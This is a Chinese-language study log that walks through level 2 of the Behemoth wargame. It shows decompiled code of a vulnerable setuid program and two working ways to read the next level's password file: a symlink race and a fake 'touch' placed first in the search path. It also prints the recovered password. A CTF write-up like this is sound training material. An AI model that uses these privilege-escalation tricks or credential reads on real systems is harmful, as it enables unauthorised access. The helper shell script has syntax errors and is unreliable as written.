1625-5 王子昂 总结《2017年9月4日》 【连续第336天总结】
A. WarGames-Behemoth
B.
Level 2
int __cdecl main(int argc, const char **argv, const char **envp)
{
__pid_t v3; // ST1C_4@1
int result; // eax@3
int v5; // edx@3
signed int v6; // [sp+24h] [bp-7Ch]@1
char v7; // [sp+28h] [bp-78h]@3
__int16 v8; // [sp+2Ah] [bp-76h]@1
int v9; // [sp+38h] [bp-68h]@1
int v10; // [sp+9Ch] [bp-4h]@1
v10 = *MK_FP(__GS__, 20);
v3 = getpid();
sprintf((char *)&v6, "touch %d", v3);
if ( (lstat((char *)&v8, (int)&v9) & 0xF000) != 0x8000 )
{
unlink((const char *)&v8);
system((const char *)&v6);
}
sleep(0x7D0u);
v6 = ' tac';
v7 = ' ';
system((const char *)&v6);
result = 0;
v5 = *MK_FP(__GS__, 20) ^ v10;
return result;
}
getpid函数识别当前进程的pid,通常用于创建不会冲突的临时文件
lstat函数检测文件是否存在,并将各项信息返回给第二个参数(buff数组),如果是符号链接文件则返回该符号链接文件的信息(stat函数返回符号链接指向的文件的信息)
若文件存在则返回0,否则返回-1
这意味着if判断恒成立(因为-1即0xffffffff,与运算后也不是8)
unlink函数删除该文件,system执行v6(touch v3)命令
然后sleep(2000),从实际表现来看linux中的sleep单位为s,而不是常见的ms
然后重新对v6赋值cat v3并从system执行
需要注意的是,IDA反编译的时候会将不同开头的变量识别为不同的变量,但实际上它们是同一个字符串(的片段)
v6四个字节,v7两个字节,v8存储PID的ASCII
首先想到的是最简单的,在程序sleep的时候偷偷把touch的文件更改为指向password的软链接,在2000s之后就会被cat出来了
注意由于当前文件夹是/home/behemoth2,behemoth3的程序无权限向这里写文件(如果直接运行报touch xxx没权限的话就是这个原因)
因此需要先提供3写入的权限(将本目录提供权限chmod 777 .
,或cd /tmp)
过程为:
behemoth2@behemoth:~
$
/behemoth/behemoth2 > pass.txt &
[1] 16604
behemoth2@behemoth:~$
rm 16604
behemoth2@behemoth:~$
ln -s /etc/behemoth_pass/behemoth3 16604
其中最后的&表示将程序转入后台执行,这样就可以在不影响sleep的情况下修改文件了
之后只需要等待2000s之后cat pass.txt就好了
为了避免无端的等待,可以写一个脚本帮助计时:
i=1
while[ 1 ]
do
let i=$i+1
sleep 1
echo $i
if [ $i -gt 2000 ]
cat pass.txt
exit
fi
done
运行之后静静的等待就好了
半个小时左右后得到password:
nieteidiel
另外,还有一种比较“pwn”的解法:
system函数是从当前路径开始搜索的,因此可以伪造一个touch程序来覆盖系统的touch
behemoth2@behemoth:/tmp
$
echo “cat /etc/behemoth_pass/behemoth3;”>touch
behemoth2@behemoth:/tmp$
chmod 777 touch
behemoth2@behemoth:/tmp$
/behemoth/behemoth2
nieteidiel
这里令touch直接作为一个sh脚本执行,并且最后使用分号隔断(因为刚开始想直接执行”/bin/sh”,但是后面有pid文件作为参数导致执行失败,所以用cat的时候就防备这个参数了,不过想想好像其实不用也没啥关系╮(╯_╰)╭)
C. 明日计划
behemoth